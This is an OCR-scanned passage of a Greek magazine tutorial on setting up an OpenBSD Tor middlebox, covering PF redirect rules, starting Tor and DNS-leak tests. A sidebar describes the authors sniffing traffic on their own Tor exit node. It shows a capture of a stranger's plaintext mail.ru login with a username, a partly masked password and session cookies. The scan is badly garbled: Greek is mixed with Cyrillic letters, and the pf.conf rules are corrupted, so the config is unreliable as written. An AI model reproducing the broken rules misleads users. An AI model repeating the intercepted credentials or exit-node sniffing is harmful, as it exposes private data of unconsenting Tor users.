εξυπηρετούµαστε апд κάποιους nameservers στην Αμερική (3). 


Βήμα 4 -- κανόνες για το ΡΕ 


Εἶναι opa να φροντίσουμε για τους απαραίτητους κανόνες στο PF, ro firewall του 
OpenBSD. Δείτε το δικὀ µας αρχείο /etc/pf.conf: 


wan if-'emo" 

lan if-"em1" 

set block-policy drop 

set loginterface $wan if 

set skip on lo 

match out on $wan if inet from !($wan if:network) to any nat-to ($wan if) 
block in log 

pass out quick 

antispoof quick for { lo $1an if $wan if ) 

pass in inet proto icmp all icmp-type echoreq 

pass in on $lan if 

pass in quick on $1an if inet proto tcp to !($1an if) гаг-+о 127.0.0.1 port 9040 
pass in quick on $1an if inet proto udp to port 53 rdr-to 127.0.0.1 port 54 


Πα την ανακατεύθυνση της διαδικτυακής κίνησης µέσω του Tor network, υπεύθυ- 
νες εἶναι οι δύο τελευταίες γραμμές. Н προτελευταία, λέει: Τα πακέτα ТСР τα onoia 
δεν προορίζονται yia τη διεύθυνση IP που ἐχει το LAN interface, στἑλνε τα στο 
port 9040 του localhost (εκεἰ περιμένει o tor proxy server yia εισερχόμενα πακέτα). 
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Н τελευταία, λέει: Ta DNS queries των μηχανημάτων πίσω апо rov router, va nnyai- 
vouv στον DNS resolver rou tor proxy server. Προκειμένου να ληφθούν υπόψη οι 
αλλαγές στο PF, πληκτρολογήστε 


# pfctl -f /etc/pf.conf 


Βήμα 5 — ενεργοποίηση tor proxy server 
Πα va rov ξεκινήσουμε àpeoa, χωρίς reboot στο λειτουργικό, арке! va δώσουμε ёха 
# /etc/rc.d/tor start 


Θέλουμε ὁμως va ενεργοποιείται αυτόματα και κάθε фора nou φορτώνει το OpenBSD 
μας. Avoiyoupe λοιπὀν το αρχείο /etc/rc.conf.local και στο τέλος του προσθέτουμε 
την ακόλουθη γραμμή: 


pkg scripts-tor 
Αυτό μόνο, τίποτε алло :D 


Βήμα 6 — δοκιμὲς 


Μπορούμε тора να ξεκινήσουμε ἑνα οποιοδήποτε VM, core να ελἐγξουµε αν то Tor 
middlebox δουλεύει κατὰ τον επιθυμητό τρόπο. Προσοχή: To VM ἡ ra VMs апо τα 
οποία θα κάνουμε τις δοκιμὲς µας θα πρέπει να ουν δικτύωση host only — όπως 
ακριβώς και ro LAN interface του OpenBSD VM. 


Ένα πρῶτο τεστ εἶναι ν΄’ ανοίξουμε ἑναν onoiovórjinore web browser και va επισκε- 
Φφθούμε ro δικτυακό τόπο 


https://check.torproject.org 


Αν όλα έχουν πάει кала, θα δεχθούμε συγχαρητήρια Aóyo χρήσης rou Tor network. 
Θα δούμε επἰσης και τη δημόσια διεύθυνση IP που φαίνεται να ἐχουμε. Προσέξτε: 
Επειδἠ το σύνολο των ενδιάμεσων κόμβων апо τους οποίους περνάμε πριν βγούμε 
στο «κανονικὀ» Internet εἶναι δυναμικό και κάθε τόσο αλλάζει, αν αργότερα επισκε- 
φθούμε ξανὰ ro check.torproject.org θα δούμε бт! ἐχουμε ἆλλο δημόσιο IP! Ἑνας 
εναλλακτικὸς τόπος για τους ελέγχους µας, εἶναι στη διεύθυνση 


http: //мһат1р.сот 


Μεταξύ ἄλλων, εκεἰ βλέπουμε σε χάρτη τη φαινομενική γεωγραφικἠ µας θέση — nå- 
ντα µε βάση ro τρέχον, δημόσιο IP. 


Ἕνας τελευταίος αλλά απαραἰτητος έλεγχος, αφορά στα λεγόμενα DNS leaks: Ou- 
σιαστικἁ, τα DNS queries που στέλνουν oi εφαρµογὲς στα μηχανήματα πίσω апо 
ro middlebox, δεν θέλουμε να απαντώνται апо τους nameservers rou ISP μας. П’ 
αυτόν ακριβὠς το λόγο ἐχουμε φροντίσει ὥστε va ανακατευθύνονται μέσα апо то 
δίκτυο του Tor και тора ἦλθε η opa για να διαπιστώσουμε αν πράγματι συμβαίνει 
αυτό. Апо ¿vav οποιονδήποτε web browser σε ἑνα μηχάνημα nioo апо το OpenBSD, 
арке! να επισκεφθούμε τη διεύθυνση 


http://dnsleaktest.com 


Στην πρώτη σελἰδα του τόπου θα δούμε το δημόσιο IP µας κι апо κάτω ёха pa- 
κρὀστενο κουμπί που γράφει «Check for DNS leaks now». Με ἑνα κλικ πάνω του 
θα φορτώσει ἄλλη µια σελίδα, στην οποία θα παρατίθενται οι διευθύνσεις ІР, τα 
hostnames καθώς και οι χώρες των nameservers που *ropa* χρησιμοποιούμε. Mpo- 
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φανώς, τα στοιχεἰα αυτά δεν θα πρέπει να ¿xouv σχέση µε rov ISP μας. 
Χαρείτε το ολοκαίνουργιο OpenBSD-based Tor middlebox, αλλά µην ξεχνάτε: 


ο To να ἐχουμε ανωνυμία δεν σημαίνει бт! αυτομάτως αποκτάµε και δικαίωµα 
στην ανευθυνότητα 


ο Κανένα σύστημα ανωνυμίας δεν εἶναι 100% ασφαλἑς. Διαβάστε, n.x., αυτό: 


https://en.wikipedia.org/wiki/Tor (anonymity network)isWeaknesses 


To δίκτυο rou Tor προσφέρει άριστη ανωνυμία, αλλά ὀχι και privacy. Πα παράδειγµα, Ka- 
νείς δεν μπορεί να µας διαβεβαιώσει ότι στα exit nodes δεν γίνεται τρελό packet sniffing. 
Па την ακρίβεια, φήμες θέλουν να γίνεται *бтаркёс* sniffing σχεδόν ἄσε káðe* exit node. 
Προκειμένου να διαπιστώσουμε τι μπορεί va σημαίνει αυτό, εἰχαμε κι εμείς στήσει για éva 
φεγγάρι ἑνα Tor exit node και, ναι, εἰχαμε επιδοθεί σε ασύστολο packet sniffing — αλλά 
πάντα για εκπαιδευτικούς λόγους. Όπως λοιπὸν φαίνεται κι апо το screenshot, αν κάποιοι 
χρησιμοποιούν επισφαλή κανάλια (HTTP αντί για HTTPS) προκειμένου να στέλνουν suai- 
σθητα στοιχεία (π.χ., credentials σε mail servers), то ката τα алла θαυμάσιο δίκτυο του 
Tor δεν εἶναι σε θέση να παρέχει προστασία апд αδιάκριτα βλέμματα. 


Eie Бак View Go Capture Analyze Statitice elephony Tools Internals Help 
Βάθος с=с >= = а Ф Фәта2 | гааар шыт % ш 


Expression... Clear Apply 
Destination 


fbsdvps. chruhere. nex win.MAIL.rU 


5 Frame 989626] | |^" Content 
πι Ethernet II, POST /cgi-bin/auth HTTP/1. 
g Internet Pro Content-Type: ο ο... 
Content-Length: 
5 Transmission] | host: win.mail. n 
a Accept: text/html a 
|| | Accept-Encoding: 
[Expert User -Agent : η o : ETS E Indy Library) 
Request | | connection: close 
Request ||| Loginsvlad. —-&Passworda050- "&Domainsmail.ruHTTP/1.1 302 οκ 
Request ||| server: nginx/0.7.62 
Date: Fri, 06 Jul 2012 09:53:18 GMT 
Content-Type: text/plain 
i close 
Ν CUR OUR IND UNI INT" 


Mpop-1341568398: 5c717b5475610b79190502190f1d00071c00054f6a5d56465607030801021e0b76731e4f 5559556f08680c07145c5556551 
f4243:vlad Ж "email.ru: expires=Thu, 04 Oct 2012 09:53:18 GMT; path=/; domain-.mail.ru 
Set-cookie: L-ODLDIARAAAAIA AAAAAAA BAAABAAAAAAAAAAABAAUIXQCA; 
expires-wt 02 зап 2013 09:53: 18 GMT; расһ=/; дотаіп=. таї1. ги 
Location: http: //e.mail.ru/cgi- -bin/editpass 
| Set-cookie: mrcu-B2FD4FF6858E7570EF690100007F; expires-Mon, 04 Jul 2022 09:53:18 GMT; path-/; domain-.mail.ru 
Content-Length: 
X-Host: f138.mail.ru 


Entire conversation (1029 bytes) 
J|. Sas i © EBCDIC 


Ө | Fite: "CAUsersvsubzrawADesktopitoricaptur.. | Packets: 1000000 Displayed: 10 Marked: Load time: 032404. 
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